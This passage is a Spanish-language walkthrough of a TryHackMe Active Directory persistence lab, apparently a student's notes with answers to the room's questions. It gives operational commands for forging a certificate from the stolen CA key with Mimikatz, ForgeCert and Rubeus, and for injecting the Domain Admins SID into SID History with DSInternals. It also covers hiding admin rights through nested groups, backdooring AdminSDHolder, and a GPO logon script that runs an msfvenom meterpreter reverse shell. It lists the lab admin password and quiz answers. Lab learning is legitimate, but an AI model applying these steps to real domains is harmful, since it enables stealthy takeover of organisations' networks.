mimikatz # privilege::debug
mimikatz # crypto::capi
mimikatz # crypto::cng
mimikatz # crypto::certificates /systemstore:local_machine /export
mimikatz # exit

Verificá que se generaron los archivos:

cmd

dir

Buscás el archivo local_machine_My_1_za-THMDC-CA.pfx

Paso 2 — Copiar el certificado a THMWRK1

Desde tu AttackBox Linux:

bash

scp za\\administrator@thmdc.za.tryhackme.loc:C:/Users/Administrator.ZA/<tuUsername>/local_machine_My_1_za-THMDC-CA.pfx .

scp za-THMDC-CA.pfx za\\<tuUsuarioBajoPrivilegio>@thmwrk1.za.tryhackme.loc:C:/Users/<tuUsuarioBajoPrivilegio>/

Paso 3 — Generar certificado falso con ForgeCert (en THMWRK1)

cmd

C:\Tools\ForgeCert\ForgeCert.exe –CaCertPath za-THMDC-CA.pfx –CaCertPassword mimikatz –Subject CN=User –SubjectAltName Administrator@za.tryhackme.loc –NewCertPath fullAdmin.pfx –NewCertPassword Password123

Paso 4 — Solicitar TGT con Rubeus

cmd

C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:fullAdmin.pfx /password:Password123 /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.73.101

Paso 5 — Cargar el TGT con Mimikatz y verificar acceso

cmd

C:\Tools\mimikatz_trunk\x64\mimikatz.exe
mimikatz # kerberos::ptt administrator.kirbi
mimikatz # exit

Verificá acceso al DC:

cmd

dir \\THMDC.za.tryhackme.loc\c$\

Si ves el contenido → ✅ Persistencia por certificado funcionando

Tarea 5 Persistencia a través de la historia de SID

Ya hemos hablado anteriormente de los identificadores de seguridad (SID). A modo de resumen, los SID se utilizan para rastrear la entidad de seguridad y el acceso de la cuenta al conectarse a los recursos. Sin embargo, existe un atributo interesante en las cuentas llamado historial de SID.

El caso de uso legítimo del historial SID es permitir el acceso a una cuenta para clonarla efectivamente en otra. Esto resulta útil cuando una organización está ocupada realizando una La migración permite a los usuarios conservar el acceso al dominio original mientras se migran al nuevo. En el nuevo dominio, el usuario tendría un nuevo SID, pero podemos agregar el SID existente del usuario al historial de SID, lo que les permitirá seguir accediendo a los recursos del dominio anterior utilizando su nueva cuenta. Si bien el historial de SID es útil para las migraciones, nosotros, como atacantes, también podemos abusar de esta función para persistencia.

La historia puede ser lo que queramos que sea.

La cuestión es que el historial de SID no se limita a incluir solo SID de otros dominios. Con los permisos adecuados, podemos agregar un SID de nuestro dominio actual al historial de SID de una cuenta que controlamos. Algunas notas interesantes sobre esto persistencia técnica:

• Normalmente, para realizar este ataque se requieren privilegios de administrador de dominio o su equivalente.
• Cuando la cuenta crea un evento de inicio de sesión, los SID asociados a la cuenta se agregan al token del usuario, lo que determina los privilegios asociados a la cuenta. Esto incluye los SID de grupo.
• Podemos llevar este ataque un paso más allá si inyectamos el SID de administrador empresarial, ya que esto elevaría los privilegios de la cuenta para que sea efectivamente administrador de dominio en todos los dominios del bosque.
• Dado que los SID se agregan al token del usuario, los privilegios se respetarían incluso si la cuenta no es miembro del grupo real. Esto convierte a este método en una forma muy astuta de…persistencia Tenemos todos los permisos necesarios para comprometer todo el dominio (quizás todo el bosque), pero nuestra cuenta puede ser simplemente una cuenta de usuario normal con pertenencia únicamente al grupo Usuarios del dominio. Podemos llevar la astucia a otro nivel utilizando siempre esta cuenta para alterar el historial SID de otra cuenta, de modo que el inicial persistencia El vector no es tan fácil de descubrir ni de remediar.

Forjando la historia

Obtén un SSH Sesión en THMDC usando las credenciales de administrador para esta siguiente parte. Antes de falsificar el historial de SID, obtengamos primero información sobre los SID. En primer lugar, asegurémonos de que nuestro usuario con privilegios limitados no tenga actualmente ninguna información en su historial de SID:

Esto confirma que nuestro usuario no tiene actualmente ningún historial de SID configurado. Obtengamos el SID del grupo Administradores de dominio, ya que este es el grupo que queremos agregar a nuestro historial de SID:

Podríamos usar algo como Mimikatz para agregar el historial de SID. Sin embargo, la última versión de Mimikatz tiene un fallo que no le permite parchear LSASS para actualizar el historial de SID. Por lo tanto, necesitamos usar otra cosa. En este caso, usaremos DSInternals. Herramientas para parchear directamente el archivo ntds.dit, la base de datos de AD donde se almacena toda la información:

Terminal

PS C:\Users\Administrator.ZA>Stop-Service -Name ntds -force
PS C:\Users\Administrator.ZA> Add-ADDBSidHistory -SamAccountName ‘username of our low-priveleged AD account’ -SidHistory ‘SID to add to SID History’ -DatabasePath C:\Windows\NTDS\ntds.dit
PS C:\Users\Administrator.ZA>Start-Service -Name ntds 

La base de datos NTDS se bloquea mientras el servicio NTDS está en ejecución. Para actualizar el historial SID, primero debemos detener el servicio. Debe reiniciar el servicio NTDS después de la actualización; de lo contrario, la autenticación para toda la red dejará de funcionar.

Una vez realizados estos pasos, accedamos a THMWRK1 mediante SSH con nuestras credenciales de privilegios limitados y verifiquemos que se haya agregado el historial SID y que ahora tengamos privilegios de administrador de dominio:

Según los resultados anteriores, ¡funcionó! Pudimos falsificar nuestro historial SID, otorgando acceso DA a nuestra cuenta con privilegios limitados.

Horcas y antorchas

Si tuvieras que RDP en uno de los anfitriones y utilice el En el complemento Usuarios y grupos, podrá ver el atributo de historial de SID agregado a su usuario. Sin embargo, incluso con los privilegios más altos posibles, no podrá eliminar el atributo ya que está protegido. Para eliminarlo, tendrá que utilizar herramientas como la -RSAT PowerShellCmdlets para eliminar el historial de SID.

Sin embargo, antes de siquiera pensar en eliminar los atributos maliciosos del historial SID, primero debe encontrarlos. Ninguna de las herramientas habituales le indicará que algo anda mal. Ese usuario no aparecerá de repente como miembro del grupo de administradores de dominio. Por lo tanto, a menos que esté filtrando activamente los atributos de sus usuarios, esto es increíblemente difícil de detectar. Esto se debe a que el historial SID solo se aplica y utiliza una vez que el usuario se autentica.

Imagina que eres el equipo azul Se está gestionando un incidente en el que acaba de realizar una recuperación de dominio. Ha cambiado la contraseña de la cuenta krbtgt dos veces, ha eliminado los tickets dorados y plateados y ha reconstruido todo su dominio. CA Instalar el servidor desde cero, solo para comprobar que el atacante sigue ejecutando comandos DA con una cuenta de bajos privilegios. No sería un buen día.

Responda las siguientes preguntas

¿Qué atributo de objeto de AD se utiliza normalmente para especificar los SID del dominio anterior del objeto y permitir una migración sin problemas a un nuevo dominio?

SIDHistory

¿Cuál es el archivo de base de datos en el controlador de dominio que almacena toda la información de Active Directory?

ntds.dit

¿Cuál es el comando de PowerShell para reiniciar el servicio ntds después de haber inyectado nuestros valores de historial SID?

Start-Service -Name ntds

Paso a paso — Tarea 5: Persistencia con SID History

Las preguntas de teoría (están en el texto)

Pregunta	Respuesta
¿Atributo AD para SIDs del dominio anterior?	SIDHistory
¿Base de datos del DC con toda la info AD?	ntds.dit
¿Comando PowerShell para reiniciar ntds?	Start-Service -Name ntds

Paso 1 — Conectarse al DC como Administrator

bash

ssh za\\administrator@thmdc.za.tryhackme.loc
# Password: tryhackmewouldnotguess1@

Paso 2 — Verificar estado actual de tu usuario

powershell

powershell
Get-ADUser <tuUsuario> -properties sidhistory,memberof

Confirmás que SIDHistory : {} está vacío.

Paso 3 — Obtener el SID de Domain Admins

powershell

Get-ADGroup «Domain Admins»

Copiá el SID: S-1-5-21-3885271727-2693558621-2658995185-512

Paso 4 — Inyectar el SID en tu historial (en el DC)

powershell

Stop-Service -Name ntds -force

Add-ADDBSidHistory -SamAccountName ‘<tuUsuario>’ -SidHistory ‘S-1-5-21-3885271727-2693558621-2658995185-512’ -DatabasePath C:\Windows\NTDS\ntds.dit

Start-Service -Name ntds

⚠️ Importante: No te olvides del Start-Service o toda la autenticación del dominio se rompe.

Paso 5 — Verificar desde THMWRK1 con tu usuario bajo privilegio

bash

ssh za\\<tuUsuario>@thmwrk1.za.tryhackme.loc

powershell

powershell
Get-ADUser <tuUsuario> -Properties sidhistory

Deberías ver el SID de Domain Admins en SIDHistory.

Luego verificá acceso DA:

powershell

dir \\thmdc.za.tryhackme.loc\c$

Si ves el contenido del C:\ → ✅ Persistencia por SID History funcionando, con una cuenta de bajos privilegios que parece normal.

Tarea 6 Persistencia a través de la pertenencia a un grupo

Si no queremos alterar los historiales de SID, podemos simplemente agregarnos directamente a grupos para persistencia. Si bien la historia de SID es una gran persistencia La técnica, la rotación de credenciales y la limpieza aún pueden eliminar nuestra persistencia En ciertos casos, puede ser mejor realizar persistencia al apuntar a la los propios grupos.

Persistenciaa través de la membresía grupal

Como se analizó en la tarea 1, la cuenta o grupo más privilegiado no siempre es el mejor para usar persistencia Los grupos privilegiados se supervisan más de cerca que otros para detectar cambios. Cualquier grupo que se clasifique como grupo protegido, como los administradores de dominio o los administradores empresariales, recibe un escrutinio de seguridad adicional. Por lo tanto, si queremos persistir a través de la pertenencia a grupos, es posible que debamos ser creativos con respecto a los grupos a los que agregamos nuestras propias cuentas para persistencia:

• El grupo de soporte técnico puede utilizarse para obtener privilegios como el de forzar el cambio de contraseñas de los usuarios. Si bien, en la mayoría de los casos, no podremos restablecer las contraseñas de los usuarios con privilegios, tener la capacidad de restablecer incluso las de usuarios con pocos privilegios nos permitirá extender el control a otras estaciones de trabajo.
• Los grupos que proporcionan derechos de administrador local a menudo no se supervisan tan de cerca como los grupos protegidos. Con derechos de administrador local para los hosts correctos a través de la pertenencia a un grupo de soporte de red, podemos tener buenas persistencia que puede utilizarse para comprometer el dominio nuevamente.
• No siempre se trata de privilegios directos. A veces, los grupos con privilegios indirectos, como la propiedad sobre objetos de directiva de grupo (GPO), pueden ser igual de buenos para persistencia.

Grupos anidados

En la mayoría de las organizaciones, hay una cantidad significativa de grupos recursivos. Un grupo recursivo es un grupo que es miembro de otro grupo. Podemos pensar en esto como anidamiento de grupos. El anidamiento de grupos se utiliza para crear una estructura más organizada en Por ejemplo, el grupo de Soporte de TI es muy genérico. Quizás existan subgrupos como Mesa de Ayuda, Administradores de Tarjetas de Acceso y Administradores de Red dentro de este grupo. Podemos agregar todos estos grupos como miembros al grupo de Soporte de TI, lo que otorga a todos los usuarios de estos subgrupos los permisos y privilegios asociados con el grupo de Soporte de TI. Sin embargo, podemos asignar permisos y privilegios más específicos para cada uno de los subgrupos.

Si bien el anidamiento en grupo ayuda a organizar , reduce la visibilidad del acceso efectivo. Volvamos a nuestro ejemplo de soporte de TI. Si consultamos Para la membresía del grupo de Soporte de TI, la respuesta sería un recuento de tres. Sin embargo, este recuento no es del todo exacto, ya que se trata de tres grupos. Para tener una idea del acceso efectivo, tendríamos que enumerar también esos subgrupos. Pero esos subgrupos también pueden tener subgrupos. Entonces, la pregunta es: «¿A cuánta profundidad debemos enumerar para obtener el número real de acceso efectivo?»

Esto también se convierte en un problema de monitoreo. Digamos, por ejemplo, que tenemos una alerta que se activa cuando se agrega un nuevo miembro al grupo Administradores de dominio. Esa es una buena alerta, pero no se activará si se agrega un usuario a un subgrupo dentro del grupo Administradores de dominio. Este es un problema muy común ya que es gestionado por el El equipo de InfoSec se encarga de la gestión de alertas y monitorización. Basta con un pequeño malentendido para que la alerta deje de ser válida, ya que se utilizan subgrupos.

Como atacante, podemos aprovechar esta visibilidad reducida para realizar persistencia En lugar de centrarnos en los grupos privilegiados que nos darían acceso al entorno, enfocamos nuestra atención en los subgrupos. En vez de unirnos a un grupo privilegiado que activaría una alerta, nos unimos a un subgrupo que no está siendo monitoreado.

Anidando nuestra Persistencia

Vamos a simular este tipo de persistencia. Para permitir que otros usuarios también realicen la técnica, asegúrese de anteponer su nombre de usuario a todos los grupos que cree. Para simular la persistencia, crearemos algunos de nuestros propios grupos. Empecemos creando un nuevo grupo base que ocultaremos en la Unidad Organizativa Personas->TI (UNED):

Terminal

PS C:\Users\Administrator.ZA>New-ADGroup -Path «OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC» -Name «<username>Net Group 1» -SamAccountName «<username>_nestgroup1» -DisplayName «<username>Nest Group 1» -GroupScope Global -GroupCategory Security

Ahora vamos a crear otro grupo en Personas -> VentasUNEDy añadir nuestro grupo anterior como miembro:

Terminal

PS C:\Users\Administrator.ZA>New-ADGroup -Path «OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC» -Name «<username>Net Group 2» -SamAccountName «<username>_nestgroup2» -DisplayName «<username>Nest Group 2» -GroupScope Global -GroupCategory Security
PS C:\Users\Administrator.ZA>Add-ADGroupMember -Identity «<username>_nestgroup2» -Members «<username>_nestgroup1»

Podemos repetir esto un par de veces más, añadiendo cada vez el grupo anterior como miembro:

Terminal

PS C:\Users\Administrator.ZA> New-ADGroup -Path «OU=CONSULTING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC» -Name «<username>Net Group 3» -SamAccountName «<username>_nestgroup3» -DisplayName «<username>Nest Group 3» -GroupScope Global -GroupCategory Security
PS C:\Users\Administrator.ZA> Add-ADGroupMember -Identity «<username>_nestgroup3» -Members «<username>_nestgroup2»
PS C:\Users\Administrator.ZA> New-ADGroup -Path «OU=MARKETING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC» -Name «<username>Net Group 4» -SamAccountName «<username>_nestgroup4» -DisplayName «<username>Nest Group 4» -GroupScope Global -GroupCategory Security
PS C:\Users\Administrator.ZA> Add-ADGroupMember -Identity «<username>_nestgroup4» -Members «<username>_nestgroup3»
PS C:\Users\Administrator.ZA> New-ADGroup -Path «OU=IT,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC» -Name «<username>Net Group 5» -SamAccountName «<username>_nestgroup5» -DisplayName «<username>Nest Group 5» -GroupScope Global -GroupCategory Security
PS C:\Users\Administrator.ZA> Add-ADGroupMember -Identity «<username>_nestgroup5» -Members «<username>_nestgroup4»

Con el último grupo, vamos a añadirlo ahora al grupo Administradores de dominio:

Terminal

PS C:\Users\Administrator.ZA>Add-ADGroupMember -Identity «Domain Admins» -Members «<username>_nestgroup5»

Por último, agreguemos nuestro usuario de AD con privilegios limitados al primer grupo que creamos:

Terminal

PS C:\Users\Administrator.ZA>Add-ADGroupMember -Identity «<username>_nestgroup1» -Members «<lowprivilegedusername>»

Ahora, su usuario con privilegios limitados debería tener acceso privilegiado a THMDC. Verifiquemos esto usando nuestra terminal SSH en THMWRK1:

Verifiquemos también que, aunque creamos varios grupos, el grupo Administradores de dominio solo tiene un nuevo miembro:

Si se tratara de una organización real, no estaríamos creando nuevos grupos para anidar. En cambio, utilizaríamos los grupos existentes para realizar el anidamiento. Sin embargo, esto es algo que nunca harías en una evaluación normal de equipo rojo y casi siempre desencadenarías en este punto, ya que rompe la organización. estructura, y si la rompemos lo suficiente, no podrían recuperarse. En este punto, incluso si el equipo azul lograran expulsarnos, la organización probablemente aún tendría que reconstruir todo su sistema. construcción desde cero, lo que provocó daños importantes.

Responda las siguientes preguntas

¿Cuál es el término que se utiliza para describir a los grupos de pacientes con Alzheimer que son miembros de otros grupos de pacientes con Alzheimer?

Group Nesting

¿Cuál es el comando para agregar un nuevo miembro, thmtest, al grupo de AD, thmgroup?

Add-ADGroupMember -Identity «thmgroup» -Members «thmtest»

Tarea 7 Persistencia a través de las ACL

Paso a paso — Tarea 6: Persistencia con Group Membership

Las preguntas de teoría (están en el texto)

Pregunta	Respuesta
¿Término para grupos miembros de otros grupos?	Group Nesting
¿Comando para agregar thmtest a thmgroup?	Add-ADGroupMember -Identity «thmgroup» -Members «thmtest»

Paso 1 — Conectarse al DC como Administrator

bash

ssh za\\administrator@thmdc.za.tryhackme.loc
# Password: tryhackmewouldnotguess1@

cmd

powershell

Paso 2 — Crear los 5 grupos anidados

Reemplazá <tuUsuario> con tu username en todos los comandos:

powershell

# Grupo 1 – en IT
New-ADGroup -Path «OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC» -Name «<tuUsuario> Net Group 1» -SamAccountName «<tuUsuario>_nestgroup1» -DisplayName «<tuUsuario> Nest Group 1» -GroupScope Global -GroupCategory Security

# Grupo 2 – en Sales, contiene grupo 1
New-ADGroup -Path «OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC» -Name «<tuUsuario> Net Group 2» -SamAccountName «<tuUsuario>_nestgroup2» -DisplayName «<tuUsuario> Nest Group 2» -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity «<tuUsuario>_nestgroup2» -Members «<tuUsuario>_nestgroup1»

# Grupo 3 – en Consulting, contiene grupo 2
New-ADGroup -Path «OU=CONSULTING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC» -Name «<tuUsuario> Net Group 3» -SamAccountName «<tuUsuario>_nestgroup3» -DisplayName «<tuUsuario> Nest Group 3» -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity «<tuUsuario>_nestgroup3» -Members «<tuUsuario>_nestgroup2»

# Grupo 4 – en Marketing, contiene grupo 3
New-ADGroup -Path «OU=MARKETING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC» -Name «<tuUsuario> Net Group 4» -SamAccountName «<tuUsuario>_nestgroup4» -DisplayName «<tuUsuario> Nest Group 4» -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity «<tuUsuario>_nestgroup4» -Members «<tuUsuario>_nestgroup3»

# Grupo 5 – en IT, contiene grupo 4
New-ADGroup -Path «OU=IT,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC» -Name «<tuUsuario> Net Group 5» -SamAccountName «<tuUsuario>_nestgroup5» -DisplayName «<tuUsuario> Nest Group 5» -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity «<tuUsuario>_nestgroup5» -Members «<tuUsuario>_nestgroup4»

Paso 3 — Agregar Grupo 5 a Domain Admins

powershell

Add-ADGroupMember -Identity «Domain Admins» -Members «<tuUsuario>_nestgroup5»

Paso 4 — Agregar tu usuario bajo privilegio al Grupo 1

powershell

Add-ADGroupMember -Identity «<tuUsuario>_nestgroup1» -Members «<tuUsuario>»

Paso 5 — Verificar desde THMWRK1

bash

ssh za\\<tuUsuario>@thmwrk1.za.tryhackme.loc

cmd

dir \\thmdc.za.tryhackme.loc\c$\

Si ves el contenido → ✅ Tu usuario de bajos privilegios ahora tiene acceso DA a través de 5 grupos anidados, y Domain Admins solo muestra 1 nuevo miembro (el grupo 5), ocultando tu presencia.

Tarea 7 Persistencia a través de las ACL

A veces, necesitamos algo más que persistir en lo normal. grupos. ¿Qué pasa si queremos que se aplique a todos los grupos protegidos simultáneamente?

Perseverar a través de Plantillas de grupo

Si bien podemos agregar una cuenta que controlamos a cada grupo privilegiado que podamos encontrar ,equipo azul aún podríamos realizar la limpieza y eliminar nuestra membresía. Para garantizar un poco mejor persistencia y hacer el equipo azul Si se quedan perplejos, deberíamos inyectar código en las plantillas que generan los grupos predeterminados. Al inyectar código en estas plantillas, incluso si eliminan nuestra membresía, solo necesitamos esperar a que la plantilla se actualice y volveremos a ser miembros.

Una de esas plantillas es Admin SDHolder. Este recipiente existe en cada dominio y su lista de control de acceso (LCA Se utiliza como plantilla para copiar permisos a todos los grupos protegidos. Los grupos protegidos incluyen grupos privilegiados como Administradores de dominio, Administradores, Administradores empresariales y Administradores de esquema. Si busca la lista completa de grupos, puede encontrarla aquí. .

Un proceso llamado SDProp toma el LCA del AdminSDHolder y lo aplica a todos los grupos protegidos cada 60 minutos. Por lo tanto, podemos escribir un ACE que nos otorgue permisos completos en todos los grupos protegidos. Si el equipo azul no es consciente de que este tipo de persistencia Si se está utilizando, será bastante frustrante. Cada vez que eliminan el permiso inapropiado en el objeto o grupo protegido, vuelve a aparecer en una hora. Dado que esta reconstrucción ocurre a través de la normalidad procesos, tampoco mostraría ninguna alerta al equipo azul, lo que dificultaría determinar la fuente de persistencia.

Persistiendo con AdminSDHolder

Para desplegar nuestro persistencia Para el AdminSDHolder, utilizaremos la Consola de administración de Microsoft (MMC). Para evitar expulsar a los usuarios de su RDP sesiones, será mejor RDP Acceda a THMWRK1 utilizando sus credenciales de bajo privilegio, use el comando runas para inyectar las credenciales de administrador y, a continuación, ejecute MMC desde esta nueva terminal:

runas /netonly /user:thmchilddc.tryhackme.loc\Administrator cmd.exe

Una vez que tenga una ventana MMC, agregue el complemento Usuarios y grupos (Archivo->Agregar complemento->Usuarios y equipos de Active Directory). Asegúrese de habilitar las funciones avanzadas (Ver->Funciones avanzadas). Podemos encontrar el grupo AdminSDHolder en Dominio->Sistema:

Navegue hasta la configuración de seguridad del grupo (clic derecho -> Propiedades -> Seguridad):

Añadamos a nuestro usuario con pocos privilegios y otorguémosle control total:

1. Haz clic en Agregar .
2. Busque su nombre de usuario con privilegios limitados y haga clic en Comprobar nombres .
3. Haz clic en Aceptar .
4. Haz clic en Permitir en Control total .
5. Haz clic en Aplicar .
6. Haz clic en Aceptar .

Debería verse algo así:

SDProp

Ahora solo necesitamos esperar 60 minutos y nuestro usuario tendrá control total sobre todos los Grupos Protegidos. Esto se debe a que el servicio Propagador de Descriptores de Seguridad (SDProp) se ejecuta automáticamente cada 60 minutos y propagará este cambio a todos los Grupos Protegidos. Sin embargo, como no nos gusta esperar, iniciemos el proceso manualmente usando PowerShell. En el C:\Tools\directorio Invoke-ADSD Propagation se proporciona un script:

Terminal

PS C:\Tools> Import-Module .\Invoke-ADSDPropagation.ps1
PS C:\Tools> Invoke-ADSDPropagation

Una vez hecho esto, espere un minuto y luego revise los permisos de seguridad de un grupo protegido, como el grupo Administradores de dominio (puede usar el comando de búsqueda para encontrar este grupo):

Como se puede observar, nuestro usuario con privilegios limitados tiene control total sobre el grupo. Puede verificar que esto continuará propagándose eliminando a su usuario de los permisos de seguridad y volviendo a ejecutar el comando. PowerShellscript. Tu usuario será añadido de nuevo. Curiosamente, aunque tenemos permisos para modificar el grupo, no nos añade automáticamente al mismo:

Sin embargo, utilizando nuestros nuevos permisos, podemos agregarnos a este grupo:

La situación está empeorando para Equipo azul

Imagina combinar esto con los grupos anidados de la tarea anterior. Al igual que el equipo azul Una vez que hayas terminado de revocar tu acceso a través de numerosos cambios de grupo, 60 minutos después, puedes volver a hacerlo todo. A menos que…equipo azul Entienden que los permisos se están modificando a través del grupo AdminSDHolder, se rascarían la cabeza cada 60 minutos. Dado que la persistencia se propaga a través de un legítimo servicio, probablemente no se enterarían cada vez que sucediera. Si realmente quieres persistir, puedes otorgar control total al grupo Usuarios del dominio en el grupo AdminSDHolder, lo que significa que cualquier usuario con pocos privilegios tendría control total sobre todos los Grupos protegidos. Combinando esto con un control total DC Sincronizar significa el equipo azul Tendremos que restablecer todas y cada una de las credenciales del dominio para eliminarnos por completo.

Responda las siguientes preguntas

¿Qué listas de control de acceso (ACL) de grupos de Active Directory se utilizan como plantilla para las ACL de todos los grupos protegidos?

AdminSDHolder

¿Qué servicio de Active Directory actualiza las ACL de todos los grupos protegidos para que coincidan con las de la plantilla?

SDProp

¿Qué permiso de ACL permite al usuario realizar cualquier acción sobre el objeto de AD?

Full Control

Paso a paso — Tarea 7: Persistencia con ACLs

Las preguntas de teoría (están en el texto)

Pregunta	Respuesta
¿ACL usada como plantilla para grupos protegidos?	AdminSDHolder
¿Servicio que actualiza las ACLs?	SDProp
¿Permiso que permite cualquier acción?	Full Control

Paso práctico — Agregar tu usuario al AdminSDHolder

1. Desde THMWRK1, RDP con tu usuario bajo privilegio y abrí una cmd con credenciales DA:

cmd

runas /netonly /user:za.tryhackme.loc\Administrator cmd.exe

2. Desde esa cmd, abrí MMC:

cmd

mmc

3. Dentro de MMC:

• Archivo → Agregar complemento → Usuarios y equipos de Active Directory
• Ver → Funciones avanzadas
• Navegá a Dominio → System → AdminSDHolder
• Clic derecho → Propiedades → Seguridad
• Agregá tu usuario bajo privilegio con Control Total

4. Para no esperar 60 minutos, ejecutá manualmente el propagador:

powershell

cd C:\Tools
Import-Module .\Invoke-ADSDPropagation.ps1
Invoke-ADSDPropagation

5. Verificá que tu usuario tiene Control Total sobre Domain Admins en MMC → ✅

Tarea 8 Persistencia a través de las GPO

La técnica que revisaremos e spersistencia a través de objetos de directiva de grupo (GPO). En este punto, debería estar familiarizado con los GPO en función de todas las diferentes técnicas de enumeración, ataque y explotación que hemos analizado. Sin embargo, los GPO también son excelentes para implementar persistencia.

Gestión de políticas de grupo en proporciona un mecanismo central para administrar la configuración de políticas locales de todas las máquinas unidas al dominio. Esto incluye configuraciones como la pertenencia a grupos restringidos ,cortafuego sy AV configuración y qué scripts deben ejecutarse al inicio. Si bien esta es una excelente herramienta para la administración, puede ser objetivo de atacantes para implementar persistencia en toda la propiedad. Lo que es aún peor es que el atacante a menudo puede esconder el GPO de tal manera que resulta casi imposible eliminarlo.

Dominio completo Persistencia

Los siguientes son algunos ejemplos comunes GPO persistencia técnicas:

• Membresía de grupo restringida: esto podría permitirnos el acceso administrativo a todos los hosts del dominio.
• Implementación del script de inicio de sesión: esto garantizará que recibamos una llamada de retorno del shell cada vez que un usuario se autentique en un host del dominio.

Hay muchos ganchos diferentes que se pueden implementar. Puedes experimentar con las GPO para aprender sobre otros ganchos. Dado que ya usamos el primer gancho, Membresía de grupo restringida, en la Explotación habitación. Centrémonos ahora en el segundo gancho. Si bien tener acceso a todos los hosts es bueno, puede ser aún mejor si nos aseguramos de tener acceso a ellos cuando los administradores estén trabajando activamente en ellos. Para ello, crearemos un GPO que está vinculado a los administradores UNED, lo que nos permitirá obtener una shell en un host cada vez que uno de ellos se autentique en un host.

Preparación

Antes de que podamos crear elGPOPrimero necesitamos crear nuestro intérprete de comandos, el oyente y el archivo .bat que ejecutará nuestro intérprete. Comencemos generando un intérprete de comandos ejecutable básico que podamos usar:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > <username>_shell.exe

Asegúrese de agregar su nombre de usuario al nombre del binario para evitar sobrescribir los shells de otros usuarios. Windows nos permite ejecutar scripts de Batch o PowerShell a través de la GPO de inicio de sesión. Los scripts de Batch suelen ser más estables que los de PowerShell, así que vamos a crear uno que copie nuestro ejecutable al host y lo ejecute una vez que un usuario se autentique. Cree el siguiente script <username>_script.baten AttackBox:

copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\<username>_shell.exe C:\tmp\<username>_shell.exe && timeout /t 20 && C:\tmp\<username>_shell.exe

Verás que el script ejecuta tres comandos encadenados &&. El script copiará el binario del directorio SYSVOL a la máquina local, esperará 20 segundos y finalmente ejecutará el binario.

Podemos usar SCP y nuestras credenciales de administrador para copiar ambos scripts al directorio SYSVOL:

Terminal

$thm scp am0_shell.exe za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/

$thm scp am0_script.bat za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/

Finalmente, comencemos con nuestro oyente de MSF:

msfconsole -q -x «use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST persistad; set LPORT 4445;exploit»

Ahora que hemos completado la preparación, podemos crear la GPO que la ejecutará. Para los siguientes pasos, deberá conectarse mediante RDP a THMWRK1 y usar una ventana de ejecución con permisos de administrador.

Creación de GPO

El primer paso utiliza nuestra cuenta de administrador de dominio para abrir el complemento de administración de directivas de grupo:

1. En la terminal que se ha generado con runas, escribe MMC y pulsa Intro.
2. Haga clic en Archivo -> Agregar/Quitar complemento…
3. Seleccione el complemento Administración de directivas de grupo y haga clic en Agregar .
4. Haz clic en Aceptar

Debería poder ver el administrador de GPO:

Si bien técnicamente podemos escribir nuestro contenido en la Directiva de dominio predeterminada, que debería propagarse a todos los objetos de Active Directory, adoptaremos un enfoque más específico para esta tarea, simplemente para mostrar el proceso. Posteriormente, puede experimentar para aplicar los cambios a todo el dominio.

Vamos a escribir una GPO que se aplicará a todos los administradores, así que haga clic con el botón derecho en la OU de administradores y seleccione Crear una GPO en este dominio y vincularla aquí. Asigne a su GPO un nombre como por ejemplo username – persisting GPO:

Haga clic con el botón derecho en su política y seleccione «Aplicada». Esto garantizará que su política se aplique, incluso si existe una política conflictiva. Esto puede ayudar a garantizar que nuestra política…GPO tiene prioridad, incluso si el equipo azul ha redactado una política que eliminará nuestros cambios. Ahora puede hacer clic con el botón derecho en su política y seleccionar editar:

Volvamos a nuestro editor de administración de directivas de grupo:

1. En Configuración de usuario, expanda Directivas->Configuración de Windows .
2. Seleccionar scripts (Inicio/Cierre de sesión) .
3. Haz clic con el botón derecho en Inicio de sesión -> Propiedades
4. Seleccione la pestaña Scripts .
5. Haz clic en Agregar->Examinar .

Vamos a ir a donde almacenamos nuestros archivos por lotes y binarios:

Seleccione su archivo Batch como script y haga clic en Abrir y Aceptar . Haga clic en Aplicar y Aceptar . Esto garantizará que cada vez que uno de los administradores (niveles 2, 1 y 0) inicie sesión en cualquier máquina, recibiremos una notificación.

Para simular esto, vamos a restablecer la contraseña de una de las cuentas de administrador de Nivel 1 y autenticarnos en un servidor. Utilice cualquiera de las técnicas que ha aprendido en el curso anterior. Salas para restablecer la contraseña de uno de los administradores de nivel 1. Una vez hecho esto, recuerde iniciar su controlador múltiple de MSF y ¡vamos a probarlo conectándonos por RDP a THMSERVER1 o THMSERVER2!

Utilice sus credenciales de administrador de nivel 1,RDPen uno de los servidores. Si esperas un minuto más, deberías recibir una devolución de llamada en tu controlador múltiple:

Nota: Debe crear un evento de inicio de sesión para el GPO para ejecutar. Si acabas de cerrar tu RDP sesión, que solo realiza una desconexión, lo que significa que no activaría la GPO Asegúrese de seleccionar la opción para cerrar sesión, como se muestra a continuación, para finalizar la sesión. Esto garantizará que se genere un evento de inicio de sesión cuando vuelva a autenticarse.

Escondido a plena vista

Ahora que sabemos que nuestro persistencia está funcionando, es hora de asegurarse de que equipo azul no podemos simplemente eliminar nuestro persistencia. Vuelva a la ventana de MMC, haga clic en su directiva y luego haga clic en Delegación:

Por defecto, todos los administradores tienen la capacidad de editar las GPO. Eliminemos estos permisos:

